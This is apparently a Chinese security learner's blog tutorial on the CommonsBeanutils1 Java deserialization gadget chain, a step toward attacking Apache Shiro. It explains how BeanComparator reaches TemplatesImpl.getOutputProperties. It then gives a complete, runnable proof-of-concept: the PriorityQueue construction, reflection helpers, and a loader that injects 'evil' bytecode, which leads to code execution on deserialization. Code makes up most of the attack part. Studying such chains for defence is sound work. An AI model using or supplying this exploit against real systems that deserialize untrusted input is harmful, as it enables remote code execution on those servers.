前言
继续反序列化的学习。
预备知识
之所以会提到CommonsBeanutils的反序列化链,是因为shiro是依赖commons-beanutils的,当然这是接下来学习的东西的。
根据名字就知道,类似Commons-Collections是对集合的封装和补充,commons-beanutils是应用于javabean的工具。
至于什么是JavaBean,放一下维基百科的定义,很简单:
- 有一个public的无参数构造函数。
- 属性可以透过get、set、is(可替代get,用在布尔型属性上)方法或遵循特定命名规则的其他方法访问。
- 可序列化。
第二条说白了就是属性都有访问器和更改器。而commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任 意JavaBean的getter方法:
public static Object getProperty(final Object bean, final String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
说白了就是,比如一个类Person是个JavaBean,它有个name属性,则PropertyUtils.getProperty(new Person(),"name")则会调用它的getName()方法。
这有什么用呢?继续联系上一篇文章的TransformingComparator,要去找一个可用的Comparator。发现commons-beanutils中的BeanComparator类的compare()方法调用了PropertyUtils.getProperty:
public int compare( final T o1, final T o2 ) {
if ( property == null ) {
return internalCompare( o1, o2 );
}
try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( final IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( final InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( final NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
我的第一反应其实是,咋可能有类的getter可以利用呢?但是还是我太年轻了,并不是真的说就是调用对应属性的getter。而是,比如这样:
PropertyUtils.getProperty(new Person(),"abc")
在我们的利用中,并不是说真的去调用Person类的abc属性的getter,而是调用getAbc(),不管这个类有没有abc属性。
再联想到之前TemplatesImpl的调用链,当时是这样的:

基本上的利用都是从newTransformer()开始,但是getOutputProperties同样也是public,也是以get开头:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
所以PropertyUtils.getProperty就可以调用TemplatesImpl类的getOutputProperties
构造POC
分析完了就可以开始构造了。首先就是TemplatesImpl对象:
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","feng");
SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
然后构造comparator和优先级队列PriorityQueue:
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
注意开头的o要小写。
接下来正常肯定就是add两次了,但是如果add两次的话,内部就会进行一次compare(),会造成影响,所以不直接add,而是用反射:
SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);
之所以还需要设置一下size,是因为我们没有add,每次add都会将size+1,所以需要利用反射设置一下。
再序列化和反序列即可:
byte[] bytes = SerializeUtil.serialize(priorityQueue);
SerializeUtil.unserialize(bytes);
构造完毕,放出总的POC,和ysoserial的有些区别,但是总的思路是一样的:
package com.summer.cb1;
import com.summer.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","feng");
SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);
byte[] bytes = SerializeUtil.serialize(priorityQueue);
SerializeUtil.unserialize(bytes);
}
}
package com.summer.util;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class SerializeUtil {
public static Object getFieldValue(Object obj, String fieldName) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static byte[] getEvilCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
return code;
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

|